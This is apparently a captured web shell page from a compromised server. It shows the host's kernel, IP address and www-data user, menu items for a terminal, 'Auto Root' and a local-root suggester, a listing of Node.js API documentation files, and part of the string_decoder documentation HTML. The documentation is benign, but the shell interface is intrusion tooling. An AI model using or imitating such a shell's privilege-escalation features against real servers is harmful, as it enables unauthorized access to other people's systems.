Linux v69820.1blu.de 4.15.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Apache/2.4.58
Server IP : 195.90.215.149 & Your IP : 216.73.216.250
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
nodejs /
api /
Delete
Unzip
Name
Size
Permission
Date
Action
assets
[ DIR ]
drwxr-xr-x
2024-07-10 10:56
addons.html
64.1
KB
-rw-r--r--
2024-04-18 19:08
addons.json.gz
11
KB
-rw-r--r--
2024-04-18 19:08
addons.md.gz
10.1
KB
-rw-r--r--
2024-04-18 19:08
all.html
5.57
MB
-rw-r--r--
2024-04-18 19:08
all.json.gz
840.98
KB
-rw-r--r--
2024-04-18 19:08
assert.html
116.57
KB
-rw-r--r--
2024-04-18 19:08
assert.json.gz
12.33
KB
-rw-r--r--
2024-04-18 19:08
assert.md.gz
10.51
KB
-rw-r--r--
2024-04-18 19:08
async_context.html
54.09
KB
-rw-r--r--
2024-04-18 19:08
async_context.json.gz
6.81
KB
-rw-r--r--
2024-04-18 19:08
async_context.md.gz
6.05
KB
-rw-r--r--
2024-04-18 19:08
async_hooks.html
60.56
KB
-rw-r--r--
2024-04-18 19:08
async_hooks.json.gz
9.59
KB
-rw-r--r--
2024-04-18 19:08
async_hooks.md.gz
8.4
KB
-rw-r--r--
2024-04-18 19:08
buffer.html
283.15
KB
-rw-r--r--
2024-04-18 19:08
buffer.json.gz
26.99
KB
-rw-r--r--
2024-04-18 19:08
buffer.md.gz
24.11
KB
-rw-r--r--
2024-04-18 19:08
child_process.html
134.94
KB
-rw-r--r--
2024-04-18 19:08
child_process.json.gz
18.88
KB
-rw-r--r--
2024-04-18 19:08
child_process.md.gz
16.3
KB
-rw-r--r--
2024-04-18 19:08
cli.html
151.15
KB
-rw-r--r--
2024-04-18 19:08
cli.json.gz
25.1
KB
-rw-r--r--
2024-04-18 19:08
cli.md.gz
20.49
KB
-rw-r--r--
2024-04-18 19:08
cluster.html
65.99
KB
-rw-r--r--
2024-04-18 19:08
cluster.json.gz
8.95
KB
-rw-r--r--
2024-04-18 19:08
cluster.md.gz
7.86
KB
-rw-r--r--
2024-04-18 19:08
console.html
49.26
KB
-rw-r--r--
2024-04-18 19:08
console.json.gz
5.71
KB
-rw-r--r--
2024-04-18 19:08
console.md.gz
4.98
KB
-rw-r--r--
2024-04-18 19:08
corepack.html
22.22
KB
-rw-r--r--
2024-04-18 19:08
corepack.json.gz
2.57
KB
-rw-r--r--
2024-04-18 19:08
corepack.md.gz
2.09
KB
-rw-r--r--
2024-04-18 19:08
crypto.html
360.58
KB
-rw-r--r--
2024-04-18 19:08
crypto.json.gz
40.78
KB
-rw-r--r--
2024-04-18 19:08
crypto.md.gz
35.12
KB
-rw-r--r--
2024-04-18 19:08
debugger.html
25.34
KB
-rw-r--r--
2024-04-18 19:08
debugger.json.gz
3.14
KB
-rw-r--r--
2024-04-18 19:08
debugger.md.gz
2.7
KB
-rw-r--r--
2024-04-18 19:08
deprecations.html
192
KB
-rw-r--r--
2024-04-18 19:08
deprecations.json.gz
23.79
KB
-rw-r--r--
2024-04-18 19:08
deprecations.md.gz
18.75
KB
-rw-r--r--
2024-04-18 19:08
dgram.html
75.23
KB
-rw-r--r--
2024-04-18 19:08
dgram.json.gz
9.44
KB
-rw-r--r--
2024-04-18 19:08
dgram.md.gz
8.21
KB
-rw-r--r--
2024-04-18 19:08
diagnostics_channel.html
69.03
KB
-rw-r--r--
2024-04-18 19:08
diagnostics_channel.json.gz
6.68
KB
-rw-r--r--
2024-04-18 19:08
diagnostics_channel.md.gz
5.77
KB
-rw-r--r--
2024-04-18 19:08
dns.html
118.19
KB
-rw-r--r--
2024-04-18 19:08
dns.json.gz
14.36
KB
-rw-r--r--
2024-04-18 19:08
dns.md.gz
9.88
KB
-rw-r--r--
2024-04-18 19:08
documentation.html
22.45
KB
-rw-r--r--
2024-04-18 19:08
documentation.json.gz
2.21
KB
-rw-r--r--
2024-04-18 19:08
documentation.md.gz
1.9
KB
-rw-r--r--
2024-04-18 19:08
domain.html
37.18
KB
-rw-r--r--
2024-04-18 19:08
domain.json.gz
6.05
KB
-rw-r--r--
2024-04-18 19:08
domain.md.gz
5.45
KB
-rw-r--r--
2024-04-18 19:08
embedding.html
21.98
KB
-rw-r--r--
2024-04-18 19:08
embedding.json.gz
3.03
KB
-rw-r--r--
2024-04-18 19:08
embedding.md.gz
2.74
KB
-rw-r--r--
2024-04-18 19:08
errors.html
274.04
KB
-rw-r--r--
2024-04-18 19:08
errors.json.gz
41.9
KB
-rw-r--r--
2024-04-18 19:08
errors.md.gz
27.46
KB
-rw-r--r--
2024-04-18 19:08
esm.html
79.14
KB
-rw-r--r--
2024-04-18 19:08
esm.json.gz
14.82
KB
-rw-r--r--
2024-04-18 19:08
esm.md.gz
12.07
KB
-rw-r--r--
2024-04-18 19:08
events.html
142.55
KB
-rw-r--r--
2024-04-18 19:08
events.json.gz
16.07
KB
-rw-r--r--
2024-04-18 19:08
events.md.gz
13.48
KB
-rw-r--r--
2024-04-18 19:08
fs.html
486.64
KB
-rw-r--r--
2024-04-18 19:08
fs.json.gz
57.29
KB
-rw-r--r--
2024-04-18 19:08
fs.md.gz
48.16
KB
-rw-r--r--
2024-04-18 19:08
globals.html
67.67
KB
-rw-r--r--
2024-04-18 19:08
globals.json.gz
7.38
KB
-rw-r--r--
2024-04-18 19:08
globals.md.gz
4.29
KB
-rw-r--r--
2024-04-18 19:08
http.html
242
KB
-rw-r--r--
2024-04-18 19:08
http.json.gz
33.3
KB
-rw-r--r--
2024-04-18 19:08
http.md.gz
26.32
KB
-rw-r--r--
2024-04-18 19:08
http2.html
268.14
KB
-rw-r--r--
2024-04-18 19:08
http2.json.gz
35.56
KB
-rw-r--r--
2024-04-18 19:08
http2.md.gz
29.39
KB
-rw-r--r--
2024-04-18 19:08
https.html
44.05
KB
-rw-r--r--
2024-04-18 19:08
https.json.gz
5.48
KB
-rw-r--r--
2024-04-18 19:08
https.md.gz
5.14
KB
-rw-r--r--
2024-04-18 19:08
index.html
12.34
KB
-rw-r--r--
2024-04-18 19:08
index.json.gz
3.77
KB
-rw-r--r--
2024-04-18 19:08
index.md
1.97
KB
-rw-r--r--
2024-04-18 19:08
inspector.html
29.83
KB
-rw-r--r--
2024-04-18 19:08
inspector.json.gz
3.41
KB
-rw-r--r--
2024-04-18 19:08
inspector.md.gz
2.79
KB
-rw-r--r--
2024-04-18 19:08
intl.html
29.61
KB
-rw-r--r--
2024-04-18 19:08
intl.json.gz
3.88
KB
-rw-r--r--
2024-04-18 19:08
intl.md.gz
3.44
KB
-rw-r--r--
2024-04-18 19:08
module.html
72.01
KB
-rw-r--r--
2024-04-18 19:08
module.json.gz
12.03
KB
-rw-r--r--
2024-04-18 19:08
module.md.gz
10.69
KB
-rw-r--r--
2024-04-18 19:08
modules.html
69.45
KB
-rw-r--r--
2024-04-18 19:08
modules.json.gz
12.43
KB
-rw-r--r--
2024-04-18 19:08
modules.md.gz
10.98
KB
-rw-r--r--
2024-04-18 19:08
n-api.html
360.08
KB
-rw-r--r--
2024-04-18 19:08
n-api.json.gz
52.17
KB
-rw-r--r--
2024-04-18 19:08
n-api.md.gz
45.16
KB
-rw-r--r--
2024-04-18 19:08
net.html
134.01
KB
-rw-r--r--
2024-04-18 19:08
net.json.gz
16.03
KB
-rw-r--r--
2024-04-18 19:08
net.md.gz
13.33
KB
-rw-r--r--
2024-04-18 19:08
os.html
67.97
KB
-rw-r--r--
2024-04-18 19:08
os.json.gz
8.53
KB
-rw-r--r--
2024-04-18 19:08
os.md.gz
7.75
KB
-rw-r--r--
2024-04-18 19:08
packages.html
82.92
KB
-rw-r--r--
2024-04-18 19:08
packages.json.gz
15.46
KB
-rw-r--r--
2024-04-18 19:08
packages.md.gz
13.6
KB
-rw-r--r--
2024-04-18 19:08
path.html
44.56
KB
-rw-r--r--
2024-04-18 19:08
path.json.gz
4.65
KB
-rw-r--r--
2024-04-18 19:08
path.md.gz
4.06
KB
-rw-r--r--
2024-04-18 19:08
perf_hooks.html
122.3
KB
-rw-r--r--
2024-04-18 19:08
perf_hooks.json.gz
11.51
KB
-rw-r--r--
2024-04-18 19:08
perf_hooks.md.gz
9.4
KB
-rw-r--r--
2024-04-18 19:08
permissions.html
35.33
KB
-rw-r--r--
2024-04-18 19:08
permissions.json.gz
5.48
KB
-rw-r--r--
2024-04-18 19:08
permissions.md.gz
4.88
KB
-rw-r--r--
2024-04-18 19:08
policy.html
13.83
KB
-rw-r--r--
2024-04-18 19:08
policy.json
407
B
-rw-r--r--
2024-04-18 19:08
policy.md
222
B
-rw-r--r--
2024-04-18 19:08
process.html
199.36
KB
-rw-r--r--
2024-04-18 19:08
process.json.gz
29.75
KB
-rw-r--r--
2024-04-18 19:08
process.md.gz
26.7
KB
-rw-r--r--
2024-04-18 19:08
punycode.html
23.8
KB
-rw-r--r--
2024-04-18 19:08
punycode.json.gz
1.94
KB
-rw-r--r--
2024-04-18 19:08
punycode.md.gz
1.51
KB
-rw-r--r--
2024-04-18 19:08
querystring.html
25.48
KB
-rw-r--r--
2024-04-18 19:08
querystring.json.gz
2.32
KB
-rw-r--r--
2024-04-18 19:08
querystring.md.gz
1.94
KB
-rw-r--r--
2024-04-18 19:08
readline.html
90.37
KB
-rw-r--r--
2024-04-18 19:08
readline.json.gz
10.49
KB
-rw-r--r--
2024-04-18 19:08
readline.md.gz
8.96
KB
-rw-r--r--
2024-04-18 19:08
repl.html
56.09
KB
-rw-r--r--
2024-04-18 19:08
repl.json.gz
9.48
KB
-rw-r--r--
2024-04-18 19:08
repl.md.gz
8.2
KB
-rw-r--r--
2024-04-18 19:08
report.html
38.82
KB
-rw-r--r--
2024-04-18 19:08
report.json.gz
6.5
KB
-rw-r--r--
2024-04-18 19:08
report.md.gz
6.03
KB
-rw-r--r--
2024-04-18 19:08
single-executable-applications.html
23.28
KB
-rw-r--r--
2024-04-18 19:08
single-executable-applications.json.gz
2.69
KB
-rw-r--r--
2024-04-18 19:08
single-executable-applications.md.gz
2.3
KB
-rw-r--r--
2024-04-18 19:08
stream.html
280.17
KB
-rw-r--r--
2024-04-18 19:08
stream.json.gz
46.93
KB
-rw-r--r--
2024-04-18 19:08
stream.md.gz
34.77
KB
-rw-r--r--
2024-04-18 19:08
string_decoder.html
20.02
KB
-rw-r--r--
2024-04-18 19:08
string_decoder.json.gz
1.47
KB
-rw-r--r--
2024-04-18 19:08
string_decoder.md
2.9
KB
-rw-r--r--
2024-04-18 19:08
synopsis.html
17.49
KB
-rw-r--r--
2024-04-18 19:08
synopsis.json
3.02
KB
-rw-r--r--
2024-04-18 19:08
synopsis.md
2.12
KB
-rw-r--r--
2024-04-18 19:08
test.html
150.26
KB
-rw-r--r--
2024-04-18 19:08
test.json.gz
18.19
KB
-rw-r--r--
2024-04-18 19:08
test.md.gz
15.39
KB
-rw-r--r--
2024-04-18 19:08
timers.html
48.93
KB
-rw-r--r--
2024-04-18 19:08
timers.json.gz
4.69
KB
-rw-r--r--
2024-04-18 19:08
timers.md.gz
3.97
KB
-rw-r--r--
2024-04-18 19:08
tls.html
166.53
KB
-rw-r--r--
2024-04-18 19:08
tls.json.gz
30.04
KB
-rw-r--r--
2024-04-18 19:08
tls.md.gz
26.77
KB
-rw-r--r--
2024-04-18 19:08
tracing.html
28.72
KB
-rw-r--r--
2024-04-18 19:08
tracing.json.gz
3.36
KB
-rw-r--r--
2024-04-18 19:08
tracing.md.gz
2.78
KB
-rw-r--r--
2024-04-18 19:08
tty.html
34.88
KB
-rw-r--r--
2024-04-18 19:08
tty.json.gz
3.39
KB
-rw-r--r--
2024-04-18 19:08
tty.md.gz
2.73
KB
-rw-r--r--
2024-04-18 19:08
url.html
113.29
KB
-rw-r--r--
2024-04-18 19:08
url.json.gz
15.09
KB
-rw-r--r--
2024-04-18 19:08
url.md.gz
12.99
KB
-rw-r--r--
2024-04-18 19:08
util.html
204.73
KB
-rw-r--r--
2024-04-18 19:08
util.json.gz
24.57
KB
-rw-r--r--
2024-04-18 19:08
util.md.gz
21.52
KB
-rw-r--r--
2024-04-18 19:08
v8.html
86.69
KB
-rw-r--r--
2024-04-18 19:08
v8.json.gz
11.15
KB
-rw-r--r--
2024-04-18 19:08
v8.md.gz
9.73
KB
-rw-r--r--
2024-04-18 19:08
vm.html
116.54
KB
-rw-r--r--
2024-04-18 19:08
vm.json.gz
15.2
KB
-rw-r--r--
2024-04-18 19:08
vm.md.gz
12.98
KB
-rw-r--r--
2024-04-18 19:08
wasi.html
24.22
KB
-rw-r--r--
2024-04-18 19:08
wasi.json.gz
2.71
KB
-rw-r--r--
2024-04-18 19:08
wasi.md.gz
2.3
KB
-rw-r--r--
2024-04-18 19:08
webcrypto.html
119.44
KB
-rw-r--r--
2024-04-18 19:08
webcrypto.json.gz
8.89
KB
-rw-r--r--
2024-04-18 19:08
webcrypto.md.gz
7.25
KB
-rw-r--r--
2024-04-18 19:08
webstreams.html
124.46
KB
-rw-r--r--
2024-04-18 19:08
webstreams.json.gz
8.41
KB
-rw-r--r--
2024-04-18 19:08
webstreams.md.gz
6.82
KB
-rw-r--r--
2024-04-18 19:08
worker_threads.html
93.69
KB
-rw-r--r--
2024-04-18 19:08
worker_threads.json.gz
13.61
KB
-rw-r--r--
2024-04-18 19:08
worker_threads.md.gz
12.08
KB
-rw-r--r--
2024-04-18 19:08
zlib.html
83.49
KB
-rw-r--r--
2024-04-18 19:08
zlib.json.gz
9.85
KB
-rw-r--r--
2024-04-18 19:08
zlib.md.gz
8.02
KB
-rw-r--r--
2024-04-18 19:08
Save
Rename
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width"> <meta name="nodejs.org:node-version" content="v18.19.1"> <title>String decoder | Node.js v18.19.1 Documentation</title> <link rel="stylesheet" href="assets/style.css"> <link rel="stylesheet" href="assets/hljs.css"> <script async defer src="assets/api.js" type="text/javascript"></script> __JS_FLAVORED_DYNAMIC_CSS__ </head> <body class="alt apidoc" id="api-section-string_decoder"> <div id="content" class="clearfix"> <div id="column2" class="interior"> <div id="intro" class="interior"> <a href="index.html" title="Go back to the home page"> Node.js </a> </div> <ul> <li><a href="documentation.html" class="nav-documentation">About this documentation</a></li> <li><a href="synopsis.html" class="nav-synopsis">Usage and example</a></li> </ul> <hr class="line"/> <ul> <li><a href="assert.html" class="nav-assert">Assertion testing</a></li> <li><a href="async_context.html" class="nav-async_context">Asynchronous context tracking</a></li> <li><a href="async_hooks.html" class="nav-async_hooks">Async hooks</a></li> <li><a href="buffer.html" class="nav-buffer">Buffer</a></li> <li><a href="addons.html" class="nav-addons">C++ addons</a></li> <li><a href="n-api.html" class="nav-n-api">C/C++ addons with Node-API</a></li> <li><a href="embedding.html" class="nav-embedding">C++ embedder API</a></li> <li><a href="child_process.html" class="nav-child_process">Child processes</a></li> <li><a href="cluster.html" class="nav-cluster">Cluster</a></li> <li><a href="cli.html" class="nav-cli">Command-line options</a></li> <li><a href="console.html" class="nav-console">Console</a></li> <li><a href="corepack.html" class="nav-corepack">Corepack</a></li> <li><a href="crypto.html" class="nav-crypto">Crypto</a></li> <li><a href="debugger.html" class="nav-debugger">Debugger</a></li> <li><a href="deprecations.html" class="nav-deprecations">Deprecated APIs</a></li> <li><a href="diagnostics_channel.html" class="nav-diagnostics_channel">Diagnostics Channel</a></li> <li><a href="dns.html" class="nav-dns">DNS</a></li> <li><a href="domain.html" class="nav-domain">Domain</a></li> <li><a href="errors.html" class="nav-errors">Errors</a></li> <li><a href="events.html" class="nav-events">Events</a></li> <li><a href="fs.html" class="nav-fs">File system</a></li> <li><a href="globals.html" class="nav-globals">Globals</a></li> <li><a href="http.html" class="nav-http">HTTP</a></li> <li><a href="http2.html" class="nav-http2">HTTP/2</a></li> <li><a href="https.html" class="nav-https">HTTPS</a></li> <li><a href="inspector.html" class="nav-inspector">Inspector</a></li> <li><a href="intl.html" class="nav-intl">Internationalization</a></li> <li><a href="modules.html" class="nav-modules">Modules: CommonJS modules</a></li> <li><a href="esm.html" class="nav-esm">Modules: ECMAScript modules</a></li> <li><a href="module.html" class="nav-module">Modules: <code>node:module</code> API</a></li> <li><a href="packages.html" class="nav-packages">Modules: Packages</a></li> <li><a href="net.html" class="nav-net">Net</a></li> <li><a href="os.html" class="nav-os">OS</a></li> <li><a href="path.html" class="nav-path">Path</a></li> <li><a href="perf_hooks.html" class="nav-perf_hooks">Performance hooks</a></li> <li><a href="permissions.html" class="nav-permissions">Permissions</a></li> <li><a href="process.html" class="nav-process">Process</a></li> <li><a href="punycode.html" class="nav-punycode">Punycode</a></li> <li><a href="querystring.html" class="nav-querystring">Query strings</a></li> <li><a href="readline.html" class="nav-readline">Readline</a></li> <li><a href="repl.html" class="nav-repl">REPL</a></li> <li><a href="report.html" class="nav-report">Report</a></li> <li><a href="single-executable-applications.html" class="nav-single-executable-applications">Single executable applications</a></li> <li><a href="stream.html" class="nav-stream">Stream</a></li> <li><a href="string_decoder.html" class="nav-string_decoder active">String decoder</a></li> <li><a href="test.html" class="nav-test">Test runner</a></li> <li><a href="timers.html" class="nav-timers">Timers</a></li> <li><a href="tls.html" class="nav-tls">TLS/SSL</a></li> <li><a href="tracing.html" class="nav-tracing">Trace events</a></li> <li><a href="tty.html" class="nav-tty">TTY</a></li> <li><a href="dgram.html" class="nav-dgram">UDP/datagram</a></li> <li><a href="url.html" class="nav-url">URL</a></li> <li><a href="util.html" class="nav-util">Utilities</a></li> <li><a href="v8.html" class="nav-v8">V8</a></li> <li><a href="vm.html" class="nav-vm">VM</a></li> <li><a href="wasi.html" class="nav-wasi">WASI</a></li> <li><a href="webcrypto.html" class="nav-webcrypto">Web Crypto API</a></li> <li><a href="webstreams.html" class="nav-webstreams">Web Streams API</a></li> <li><a href="worker_threads.html" class="nav-worker_threads">Worker threads</a></li> <li><a href="zlib.html" class="nav-zlib">Zlib</a></li> </ul> <hr class="line"/> <ul> <li><a href="https://github.com/nodejs/node" class="nav-https-github-com-nodejs-node">Code repository and issue tracker</a></li> </ul> </div> <div id="column1" data-id="string_decoder" class="interior"> <header class="header"> <div class="header-container"> <h1>Node.js v18.19.1 documentation</h1> <button class="theme-toggle-btn" id="theme-toggle-btn" title="Toggle dark mode/light mode" aria-label="Toggle dark mode/light mode" hidden> <svg xmlns="http://www.w3.org/2000/svg" class="icon dark-icon" height="24" width="24"> <path fill="none" d="M0 0h24v24H0z" /> <path d="M11.1 12.08c-2.33-4.51-.5-8.48.53-10.07C6.27 2.2 1.98 6.59 1.98 12c0 .14.02.28.02.42.62-.27 1.29-.42 2-.42 1.66 0 3.18.83 4.1 2.15A4.01 4.01 0 0111 18c0 1.52-.87 2.83-2.12 3.51.98.32 2.03.5 3.11.5 3.5 0 6.58-1.8 8.37-4.52-2.36.23-6.98-.97-9.26-5.41z"/> <path d="M7 16h-.18C6.4 14.84 5.3 14 4 14c-1.66 0-3 1.34-3 3s1.34 3 3 3h3c1.1 0 2-.9 2-2s-.9-2-2-2z"/> </svg> <svg xmlns="http://www.w3.org/2000/svg" class="icon light-icon" height="24" width="24"> <path d="M0 0h24v24H0z" fill="none" /> <path d="M6.76 4.84l-1.8-1.79-1.41 1.41 1.79 1.79 1.42-1.41zM4 10.5H1v2h3v-2zm9-9.95h-2V3.5h2V.55zm7.45 3.91l-1.41-1.41-1.79 1.79 1.41 1.41 1.79-1.79zm-3.21 13.7l1.79 1.8 1.41-1.41-1.8-1.79-1.4 1.4zM20 10.5v2h3v-2h-3zm-8-5c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6zm-1 16.95h2V19.5h-2v2.95zm-7.45-3.91l1.41 1.41 1.79-1.8-1.41-1.41-1.79 1.8z"/> </svg> </button> </div> <div id="gtoc"> <ul> <li class="pinned-header">Node.js v18.19.1</li> <li class="picker-header"> <a href="#"> <span class="collapsed-arrow">►</span><span class="expanded-arrow">▼</span> Table of contents </a> <div class="picker"><div class="toc"><ul> <li><a href="#string-decoder">String decoder</a><ul> <li><a href="#class-stringdecoder">Class: <code>StringDecoder</code></a><ul> <li><a href="#new-stringdecoderencoding"><code>new StringDecoder([encoding])</code></a></li> <li><a href="#stringdecoderendbuffer"><code>stringDecoder.end([buffer])</code></a></li> <li><a href="#stringdecoderwritebuffer"><code>stringDecoder.write(buffer)</code></a></li> </ul> </li> </ul> </li> </ul> </div></div> </li> <li class="picker-header"> <a href="#"> <span class="collapsed-arrow">►</span><span class="expanded-arrow">▼</span> Index </a> <div class="picker"><ul> <li><a href="documentation.html" class="nav-documentation">About this documentation</a></li> <li><a href="synopsis.html" class="nav-synopsis">Usage and example</a></li> <li> <a href="index.html">Index</a> </li> </ul> <hr class="line"/> <ul> <li><a href="assert.html" class="nav-assert">Assertion testing</a></li> <li><a href="async_context.html" class="nav-async_context">Asynchronous context tracking</a></li> <li><a href="async_hooks.html" class="nav-async_hooks">Async hooks</a></li> <li><a href="buffer.html" class="nav-buffer">Buffer</a></li> <li><a href="addons.html" class="nav-addons">C++ addons</a></li> <li><a href="n-api.html" class="nav-n-api">C/C++ addons with Node-API</a></li> <li><a href="embedding.html" class="nav-embedding">C++ embedder API</a></li> <li><a href="child_process.html" class="nav-child_process">Child processes</a></li> <li><a href="cluster.html" class="nav-cluster">Cluster</a></li> <li><a href="cli.html" class="nav-cli">Command-line options</a></li> <li><a href="console.html" class="nav-console">Console</a></li> <li><a href="corepack.html" class="nav-corepack">Corepack</a></li> <li><a href="crypto.html" class="nav-crypto">Crypto</a></li> <li><a href="debugger.html" class="nav-debugger">Debugger</a></li> <li><a href="deprecations.html" class="nav-deprecations">Deprecated APIs</a></li> <li><a href="diagnostics_channel.html" class="nav-diagnostics_channel">Diagnostics Channel</a></li> <li><a href="dns.html" class="nav-dns">DNS</a></li> <li><a href="domain.html" class="nav-domain">Domain</a></li> <li><a href="errors.html" class="nav-errors">Errors</a></li> <li><a href="events.html" class="nav-events">Events</a></li> <li><a href="fs.html" class="nav-fs">File system</a></li> <li><a href="globals.html" class="nav-globals">Globals</a></li> <li><a href="http.html" class="nav-http">HTTP</a></li> <li><a href="http2.html" class="nav-http2">HTTP/2</a></li> <li><a href="https.html" class="nav-https">HTTPS</a></li> <li><a href="inspector.html" class="nav-inspector">Inspector</a></li> <li><a href="intl.html" class="nav-intl">Internationalization</a></li> <li><a href="modules.html" class="nav-modules">Modules: CommonJS modules</a></li> <li><a href="esm.html" class="nav-esm">Modules: ECMAScript modules</a></li> <li><a href="module.html" class="nav-module">Modules: <code>node:module</code> API</a></li> <li><a href="packages.html" class="nav-packages">Modules: Packages</a></li> <li><a href="net.html" class="nav-net">Net</a></li> <li><a href="os.html" class="nav-os">OS</a></li> <li><a href="path.html" class="nav-path">Path</a></li> <li><a href="perf_hooks.html" class="nav-perf_hooks">Performance hooks</a></li> <li><a href="permissions.html" class="nav-permissions">Permissions</a></li> <li><a href="process.html" class="nav-process">Process</a></li> <li><a href="punycode.html" class="nav-punycode">Punycode</a></li> <li><a href="querystring.html" class="nav-querystring">Query strings</a></li> <li><a href="readline.html" class="nav-readline">Readline</a></li> <li><a href="repl.html" class="nav-repl">REPL</a></li> <li><a href="report.html" class="nav-report">Report</a></li> <li><a href="single-executable-applications.html" class="nav-single-executable-applications">Single executable applications</a></li> <li><a href="stream.html" class="nav-stream">Stream</a></li> <li><a href="string_decoder.html" class="nav-string_decoder active">String decoder</a></li> <li><a href="test.html" class="nav-test">Test runner</a></li> <li><a href="timers.html" class="nav-timers">Timers</a></li> <li><a href="tls.html" class="nav-tls">TLS/SSL</a></li> <li><a href="tracing.html" class="nav-tracing">Trace events</a></li> <li><a href="tty.html" class="nav-tty">TTY</a></li> <li><a href="dgram.html" class="nav-dgram">UDP/datagram</a></li> <li><a href="url.html" class="nav-url">URL</a></li> <li><a href="util.html" class="nav-util">Utilities</a></li> <li><a href="v8.html" class="nav-v8">V8</a></li> <li><a href="vm.html" class="nav-vm">VM</a></li> <li><a href="wasi.html" class="nav-wasi">WASI</a></li> <li><a href="webcrypto.html" class="nav-webcrypto">Web Crypto API</a></li> <li><a href="webstreams.html" class="nav-webstreams">Web Streams API</a></li> <li><a href="worker_threads.html" class="nav-worker_threads">Worker threads</a></li> <li><a href="zlib.html" class="nav-zlib">Zlib</a></li> </ul> <hr class="line"/> <ul> <li><a href="https://github.com/nodejs/node" class="nav-https-github-com-nodejs-node">Code repository and issue tracker</a></li> </ul> </div> </li> <li class="picker-header"> <a href="#"> <span class="collapsed-arrow">►</span><span class="expanded-arrow">▼</span> Other versions </a> <div class="picker"><ol id="alt-docs"><li><a href="https://nodejs.org/docs/latest-v18.x/api/string_decoder.html">18.x <b>LTS</b></a></li> <li><a href="https://nodejs.org/docs/latest-v17.x/api/string_decoder.html">17.x</a></li> <li><a href="https://nodejs.org/docs/latest-v16.x/api/string_decoder.html">16.x <b>LTS</b></a></li> <li><a href="https://nodejs.org/docs/latest-v15.x/api/string_decoder.html">15.x</a></li> <li><a href="https://nodejs.org/docs/latest-v14.x/api/string_decoder.html">14.x</a></li> <li><a href="https://nodejs.org/docs/latest-v13.x/api/string_decoder.html">13.x</a></li> <li><a href="https://nodejs.org/docs/latest-v12.x/api/string_decoder.html">12.x</a></li> <li><a href="https://nodejs.org/docs/latest-v11.x/api/string_decoder.html">11.x</a></li> <li><a href="https://nodejs.org/docs/latest-v10.x/api/string_decoder.html">10.x</a></li> <li><a href="https://nodejs.org/docs/latest-v9.x/api/string_decoder.html">9.x</a></li> <li><a href="https://nodejs.org/docs/latest-v8.x/api/string_decoder.html">8.x</a></li> <li><a href="https://nodejs.org/docs/latest-v7.x/api/string_decoder.html">7.x</a></li> <li><a href="https://nodejs.org/docs/latest-v6.x/api/string_decoder.html">6.x</a></li> <li><a href="https://nodejs.org/docs/latest-v5.x/api/string_decoder.html">5.x</a></li> <li><a href="https://nodejs.org/docs/latest-v4.x/api/string_decoder.html">4.x</a></li> <li><a href="https://nodejs.org/docs/latest-v0.12.x/api/string_decoder.html">0.12.x</a></li> <li><a href="https://nodejs.org/docs/latest-v0.10.x/api/string_decoder.html">0.10.x</a></li></ol></div> </li> <li class="picker-header"> <a href="#"> <span class="collapsed-arrow">►</span><span class="expanded-arrow">▼</span> Options </a> <div class="picker"> <ul> <li> <a href="all.html">View on single page</a> </li> <li> <a href="string_decoder.json">View as JSON</a> </li> <li class="edit_on_github"><a href="https://github.com/nodejs/node/edit/master/doc/api/string_decoder.md">Edit on GitHub</a></li> </ul> </div> </li> </ul> </div> <hr> </header> <details id="toc" open><summary>Table of contents</summary><ul> <li><a href="#string-decoder">String decoder</a><ul> <li><a href="#class-stringdecoder">Class: <code>StringDecoder</code></a><ul> <li><a href="#new-stringdecoderencoding"><code>new StringDecoder([encoding])</code></a></li> <li><a href="#stringdecoderendbuffer"><code>stringDecoder.end([buffer])</code></a></li> <li><a href="#stringdecoderwritebuffer"><code>stringDecoder.write(buffer)</code></a></li> </ul> </li> </ul> </li> </ul> </details> <div id="apicontent"> <h2>String decoder<span><a class="mark" href="#string-decoder" id="string-decoder">#</a></span><a aria-hidden="true" class="legacy" id="string_decoder_string_decoder"></a></h2> <!--introduced_in=v0.10.0--> <blockquote> <p>Stability: 2 - Stable</p> </blockquote> <!-- source_link=lib/string_decoder.js --> <p>The <code>node:string_decoder</code> module provides an API for decoding <code>Buffer</code> objects into strings in a manner that preserves encoded multi-byte UTF-8 and UTF-16 characters. It can be accessed using:</p> <pre><code class="language-js">const { StringDecoder } = require('node:string_decoder'); </code></pre> <p>The following example shows the basic use of the <code>StringDecoder</code> class.</p> <pre><code class="language-js">const { StringDecoder } = require('node:string_decoder'); const decoder = new StringDecoder('utf8'); const cent = Buffer.from([0xC2, 0xA2]); console.log(decoder.write(cent)); // Prints: ¢ const euro = Buffer.from([0xE2, 0x82, 0xAC]); console.log(decoder.write(euro)); // Prints: € </code></pre> <p>When a <code>Buffer</code> instance is written to the <code>StringDecoder</code> instance, an internal buffer is used to ensure that the decoded string does not contain any incomplete multibyte characters. These are held in the buffer until the next call to <code>stringDecoder.write()</code> or until <code>stringDecoder.end()</code> is called.</p> <p>In the following example, the three UTF-8 encoded bytes of the European Euro symbol (<code>€</code>) are written over three separate operations:</p> <pre><code class="language-js">const { StringDecoder } = require('node:string_decoder'); const decoder = new StringDecoder('utf8'); decoder.write(Buffer.from([0xE2])); decoder.write(Buffer.from([0x82])); console.log(decoder.end(Buffer.from([0xAC]))); // Prints: € </code></pre> <section><h3>Class: <code>StringDecoder</code><span><a class="mark" href="#class-stringdecoder" id="class-stringdecoder">#</a></span><a aria-hidden="true" class="legacy" id="string_decoder_class_stringdecoder"></a></h3> <h4><code>new StringDecoder([encoding])</code><span><a class="mark" href="#new-stringdecoderencoding" id="new-stringdecoderencoding">#</a></span><a aria-hidden="true" class="legacy" id="string_decoder_new_stringdecoder_encoding"></a></h4> <div class="api_metadata"> <span>Added in: v0.1.99</span> </div><ul> <li><code>encoding</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type"><string></a> The character <a href="buffer.html#buffers-and-character-encodings">encoding</a> the <code>StringDecoder</code> will use. <strong>Default:</strong> <code>'utf8'</code>.</li> </ul> <p>Creates a new <code>StringDecoder</code> instance.</p> <h4><code>stringDecoder.end([buffer])</code><span><a class="mark" href="#stringdecoderendbuffer" id="stringdecoderendbuffer">#</a></span><a aria-hidden="true" class="legacy" id="string_decoder_stringdecoder_end_buffer"></a></h4> <div class="api_metadata"> <span>Added in: v0.9.3</span> </div><ul> <li><code>buffer</code> 